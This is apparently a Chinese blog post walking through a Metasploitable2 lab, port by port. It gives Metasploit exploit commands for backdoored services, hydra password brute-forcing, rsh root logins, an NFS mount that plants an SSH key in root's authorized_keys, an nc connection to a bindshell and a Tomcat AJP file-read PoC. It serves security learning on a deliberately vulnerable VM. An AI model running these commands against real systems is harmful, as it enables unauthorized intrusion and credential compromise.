本篇博客的主要内容
- Metasploitable2 漏洞评估
- 前情提要
- 端口扫描
- 21端口(vsftpd 2.3.4)
- 22端口(ssh服务)
- 23端口(telnet服务)
- 25
- 53
- 80(http服务)
- 139、445
- 512、513、514
- 111、2049等nfs相关端口
- 1099( java-rmi)
- 1524(metasploit root shell)
- 2121(ftp服务 proftpd1.3.1)
- 3306 (mysql服务)
- 3632 (distccd服务)
- 5432 (postgresql服务)
- 5900 (VNC服务)
- 6667、6697 (irc unreal-rcd)
- 8009 (ajp协议)
- 8180 (apache tomcat)
- 8787 (Ruby DRb RMI)
- 参考链接:
Metasploitable2 漏洞评估
深感自己基础不扎实,所以打算好好再练一下,就再日一遍Metasploitable2吧
前情提要
靶机(Metasploitable2)ip:192.168.206.216
攻击机(kali)ip:192.168.206.128
端口扫描
root@kali:~/Desktop/tools# nmap -sV -p 1-65535 192.168.206.216
扫描结果如下
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.3.4
22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp open telnet Linux telnetd
25/tcp open smtp Postfix smtpd
53/tcp open domain ISC BIND 9.4.2
80/tcp open http Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp open rpcbind 2 (RPC #100000)
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp open exec netkit-rsh rexecd
513/tcp open login?
514/tcp open shell?
1099/tcp open java-rmi GNU Classpath grmiregistry
1524/tcp open bindshell Metasploitable root shell
2049/tcp open nfs 2-4 (RPC #100003)
2121/tcp open ftp ProFTPD 1.3.1
3306/tcp open mysql MySQL 5.0.51a-3ubuntu5
3632/tcp open distccd distccd v1 ((GNU) 4.2.4 (Ubuntu 4.2.4-1ubuntu4))
5432/tcp open postgresql PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp open vnc VNC (protocol 3.3)
6000/tcp open X11 (access denied)
6200/tcp open lm-x?
6667/tcp open irc UnrealIRCd
6697/tcp open irc UnrealIRCd
8009/tcp open ajp13 Apache Jserv (Protocol v1.3)
8180/tcp open http Apache Tomcat/Coyote JSP engine 1.1
8787/tcp open drb Ruby DRb RMI (Ruby 1.8; path /usr/lib/ruby/1.8/drb)
38096/tcp open mountd 1-3 (RPC #100005)
49799/tcp open nlockmgr 1-4 (RPC #100021)
54304/tcp open status 1 (RPC #100024)
57618/tcp open java-rmi GNU Classpath grmiregistry
21端口(vsftpd 2.3.4)
通过网络搜索可知vsftpd 2.3.4版本存在后门,且msf上有利用脚本
kali启动msf
msfconsole
依次输入如下命令
search vsftpd
use exploit/unix/ftp/vsftpd_234_backdoor
show options
set rhosts 192.168.206.216
run
如图,成功得到一个session,输入whoami并回车,知道我们的权限是root。但这个shell真的是太丑了,我们可以用python起一个交互式shell
python -c 'import pty; pty.spawn("/bin/bash")'
22端口(ssh服务)
既然开着ssh端口,那肯定要爆破一波啊,不然多浪费
hydra来一发
hydra 192.168.206.216 -L /root/Desktop/ssh-user.txt -P /root/Desktop/ssh-pass ssh
爆破成功!用户名:msfadmin 密码:msfadmin
使用windows平台下的工具(超级弱口令检查工具)
下载链接:https://github.com/shack2/SNETCracker/releases
(不敢保证是否有毒,建议在虚拟机中使用)
成功破解!用户名:msfadmin 密码:msfadmin
攻击机利用ssh协议登录靶机
ssh msfadmin@192.168.206.216
成功登录靶机,虽然不是root(dog head)
23端口(telnet服务)
既然开放了telnet端口,不爆破一波,多浪费啊
hydra搞起来
成功爆破!用户名:msfadmin 密码:msfadmin
使用超级弱口令攻击来一发
不是吧,阿sir,这么点数据还跑不出来,摊手。也可能是装在虚拟机的原因(dog head)
用windows下另一款工具railgun-poc
下载链接:https://github.com/Mr-xn/Penetration_Testing_POC/blob/master/tools/railgun-poc_1.0.1.7.zip
(不敢保证是否有毒,建议在虚拟机中使用)
这东西,本机跑的,快倒是快,但是这误报。。。我表示很醉。
攻击机利用telnet协议登录靶机
telnet 192.168.206.216
成功登录靶机,虽然不是root(dog head)
25
没有搜索到相关漏洞
53
搜到的都是关于拒绝服务攻击的漏洞,这里不进行演示
80(http服务)
内容太多,后面慢慢整
139、445
参考文章:https://cloud.tencent.com/developer/article/1079631
msfconsole
search samba
use exploit/multi/samba/usermap_script
show options
set rhosts 192.168.206.216
run
获取共享目录
smbclient -L //192.168.206.216
查找到的解决方法:https://blog.csdn.net/weixin_45527786/article/details/105616570
bingo!
注意:password那里没有填入密码,直接回车
512、513、514
由于我本人驻场在甲方爸爸这里,经常就是使用绿盟漏扫来对内网服务器进行扫描,之前见过这几个端口的漏洞,一直没有分析,借这个机会,也好好研究研究。
TCP端口512,513和514是rsh系列。在系统之后被错误配置从而允许远程访问者从任何地方访问。要利用这个配置,确保rsh客户端已经按照(在linux操作系统上安装Open ssh),然后以root权限允许下列命令,如果被提示需要一个SSH秘钥,这表示RSH客户端没有安装,ubuntu一般默认使用SSH(Debin GNU/Linux 也是如此)
首先,需要在kali上安装rsh-client (由于rsh是比较老旧的协议,感觉有安全威胁,建议安装之前给kali做个快照,做完这个试验,恢复快照就可)
安装rsh-client
sudo apt-get install rsh-client
利用rlogin来进行登录
rlogin -l root 192.168.206.216
登录成功
利用rsh登录
rsh -l root 192.168.206.216
登录成功
rexec没有成功复现,暂不折腾了。
关于rexec、rlogin、rexec的参考文章:https://www.cnblogs.com/lsdb/p/6604203.html
一点感慨,国内网页居然没有搜索到如何安装rsh,都是大家的文章相互抄来抄去。通过google搜索,很容易找到了答案。下面的参考文章中还说明了rsh是怎么设置导致的这个任意用户免密连接。
参考文章:https://technicalagain.com/tag/rsh-client/
111、2049等nfs相关端口
参考文章:https://www.cnblogs.com/webapplee/p/4078202.html
rpcinfo -p 192.168.206.216
showmount -e 192.168.206.216
(基本没有什么linux基础的我,很难受啊,先照着别的文章做,原理什么的慢慢补充,慢慢学习)
我们将在攻击系统上生成一个新的SSH密钥,安装NFS导出,并将我们的密钥添加到root用户帐户的authorized_keys文件中:
由于以前复现redis未授权访问漏洞(写公钥),所以已经存在了id_rsa。覆盖就行
mount -t nfs 192.168.206.216:/ /tmp/r00t
cat ~/.ssh/id_rsa.pub >> /tmp/r00t/root/.ssh/authorized_keys
umount /tmp/r00t
ssh root@192.168.206.216
感觉这里做到免密登录的原理和redis未授权访问写公钥的原理类似啊,嘿嘿。
1099( java-rmi)
search java_rmi
use exploit/multi/misc/java_rmi_server
show options
set rhosts 192.168.206.216
run
1524(metasploit root shell)
metasploitable2 的1524端口本身有shell,直接使用nc连接上去即可
nc -vn 192.168.206.216 1524
本来nc就玩得不熟练,在网上搜索到nc相关的东西也很零碎,给自己挖个坑,后面会专门写一篇nc的使用。参考的视频为 【苑房弘老师的kali视频】,里面有几节专门讲的nc,之前看过一遍,忘完了(doge head)
2121(ftp服务 proftpd1.3.1)
在网上没有搜索到proftpd1.3.1 的相关漏洞,一些博客中针对metasploitable2 中的2121端口,使用的ftp爆破。
3306 (mysql服务)
使用hydra来进行爆破
hydra 192.168.206.216 -L /root/Desktop/mysql-user.txt -P /root/Desktop/mysql-pass.txt mysql
爆破得到用户名为root 密码为空
利用mysql远程登录靶机
mysql -h 192.168.206.216 -u root -P
使用kali成功登录
也可以在windows上使用navicat,可视化操作
连接成功
3632 (distccd服务)
msf走起啊
msfconsole
search distccd
use exploit/unix/misc/distcc_exec
show options
set rhosts 192.168.206.216
run
5432 (postgresql服务)
爆破?hydra走起
好吧,突然发现hydra无法爆破postgresql,还好msf也可以对postgresql爆破
msfconsole
search postgresql
use auxiliart/scanner/postgres/postgres_login
show options
set rhosts 192.168.206.216
run
使用的是msf里默认的字典
爆破成功,用户名:postgres 密码:postgres
???linux命令行,如何远程登录postgresql数据库???
windows下使用navicat进行连接
连接成功
5900 (VNC服务)
通过查阅资料,vnc 常见弱口令为password
从metasploit2 官方文档中知道,靶机中vnc的密码为password
但是,暴力破解时却破解不出来,即使密码文件中有 password
利用msf爆破:
msfconsole
search vnc_login
use auxiliary/scanner/vnc/vnc_login
show options
set pass_file /root/Desktop/vnc-pass.txt
set rhosts 192.168.206.216
run
然而,破解失败
由于hydra 也可以破解vnc,用hydra试一试吧
使用hydra也爆破失败,vnc服务器要我们放弃[dog head]
从这来看,估计是metasploitable2 开启了什么安全策略?
之后再进行折腾吧(dog head),有知道原因的小伙伴还请评论区告知一下,谢谢
6667、6697 (irc unreal-rcd)
msfconsole
search rcd
use exploit/unix/irc/unreal_ircd_3281_backdoor
show options
set rhosts 192.168.206.216
run
关于这个漏洞的一篇好文章(反正比我这操起工具就干好):https://blog.csdn.net/qq_27446553/article/details/52952111?utm_medium=distribute.pc_relevant.none-task-blog-OPENSEARCH-1.channel_param&depth_1-utm_source=distribute.pc_relevant.none-task-blog-OPENSEARCH-1.channel_param
8009 (ajp协议)
看见8009端口,我就想起了今年2月爆出的幽灵猫(cve-2020-1938tomcat文件包含漏洞)。来来来,搞一波。
poc下载:https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi
注意:此python脚本是python2 所写
python CNVD-2020-10487-Tomcat-Ajp-lfi.py 192.168.206.216 -p 8009 -f WEB-INF/web.xml
8180 (apache tomcat)
访问一波,远古版本的汤姆凯特5.5
看见tomcat,首先就看看后台管理页面,/manager/html
常用弱口令 tomcat/tomcat 来一发
成功进入。之后的就是上传war包,getshell了。说起来容易,还没有实操过,容我查查资料,把后面步骤补全。
8787 (Ruby DRb RMI)
drb rmi 1.8.0
msfconsole
search drb
use use exploit/linux/misc/drb_remote_codeexec
set rhosts 192.168.206.216
run
利用成功
参考链接:
https://blog.csdn.net/weixin_45527786/article/details/105616570
https://www.cnblogs.com/lsdb/p/6604203.html
https://cloud.tencent.com/developer/article/1079631
https://technicalagain.com/tag/rsh-client/
https://www.cnblogs.com/webapplee/p/4078202.html
https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi
https://blog.csdn.net/qq_27446553/article/details/52952111?utm_medium=distribute.pc_relevant.none-task-blog-OPENSEARCH-1.channel_param&depth_1-utm_source=distribute.pc_relevant.none-task-blog-OPENSEARCH-1.channel_param